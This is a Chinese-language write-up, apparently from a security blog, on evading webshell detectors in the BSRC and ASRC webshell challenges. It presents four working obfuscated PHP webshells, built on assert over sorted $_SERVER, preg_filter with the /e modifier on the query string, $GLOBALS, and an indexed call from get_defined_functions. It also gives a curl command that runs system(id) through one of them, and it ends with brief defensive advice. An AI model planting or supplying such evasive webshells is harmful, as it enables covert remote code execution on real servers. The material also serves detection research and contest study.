bsrc和asrc的webshell挑战赛绕过技巧
字数 1166 2025-08-03 10:57:03
BSRC和ASRC的Webshell挑战赛绕过技巧详解
主要思路概述
Webshell检测系统通常采用动态检测和多种智能算法,能够进行运算并基于运算结果判断是否为Webshell。绕过的主要思路是利用检测环境与实际环境的差异性:
- 从外部获取值,这些值在不同环境中可能不同
- 使检测环境运算结果与实际环境构造结果不一致
- 利用环境变量、全局变量等动态获取执行内容
具体绕过技术
1. 利用$_SERVER从外部获取值
源代码:
<?php
sort($_SERVER);
assert($_SERVER[26]);
技术原理:
- 使用
sort()函数对$_SERVER数组进行排序 - 通过
assert()执行排序后$_SERVER数组中特定位置的值 - 在不同环境中,
$_SERVER[26]可能指向不同的值,从而绕过静态检测
2. 利用getenv("QUERY_STRING")从外部获取值
源代码:
<?php
$a = getenv("QUERY_STRING");
preg_filter('|.*|e', $a, '');
技术原理:
- 使用
getenv("QUERY_STRING")获取查询字符串 - 通过
preg_filter函数的e修饰符执行代码 - 利用方法:
curl "http://example.com/56.php?system(id);"
特点:
- 完全从外部输入获取执行内容
- 使用正则函数执行代码,绕过简单关键字检测
3. 利用$GLOBALS从外部获取值
源代码:
<?php
assert($GLOBALS{GLOBALS}=pos($GLOBALS)[0]);
技术原理:
- 使用
pos($GLOBALS)[0]获取全局变量数组的第一个值 - 将获取的值赋给
$GLOBALS{GLOBALS} - 通过
assert()执行获取的值 - 依赖全局变量的动态特性绕过检测
4. 利用get_defined_functions()['internal']从外部获取值
源代码:
<?php
$arr = get_defined_functions()['internal'];
$arr[809]($_POST[1]);
技术原理:
- 获取所有内部函数列表,存储在数组中
- 通过数组索引调用特定函数(如assert)
- 在不同PHP环境中,assert函数在数组中的位置可能不同
- 示例中809是PHP 5.6.1中assert的位置
关键点:
- 需要提前确认目标环境中assert在数组中的位置
- 利用环境差异性使检测系统无法准确识别
总结与防御建议
绕过技术共性
- 利用环境变量或全局变量的动态特性
- 依赖不同环境中的执行结果差异
- 通过间接方式获取和执行代码
- 避免直接使用明显的危险函数调用
防御建议
- 检测系统应模拟多种环境进行动态分析
- 监控非常规的变量访问方式(如$_SERVER排序后访问)
- 限制或监控getenv、$GLOBALS等函数的使用
- 对preg_filter等支持代码执行的函数进行严格检查
- 建立函数调用链分析,识别间接函数调用
扩展思考
这些技术展示了Webshell检测与绕过之间的猫鼠游戏本质。防御方需要:
- 深入理解PHP语言特性和执行环境
- 构建多维度检测机制
- 关注环境差异可能带来的检测盲点
- 持续更新检测规则以应对新型绕过技术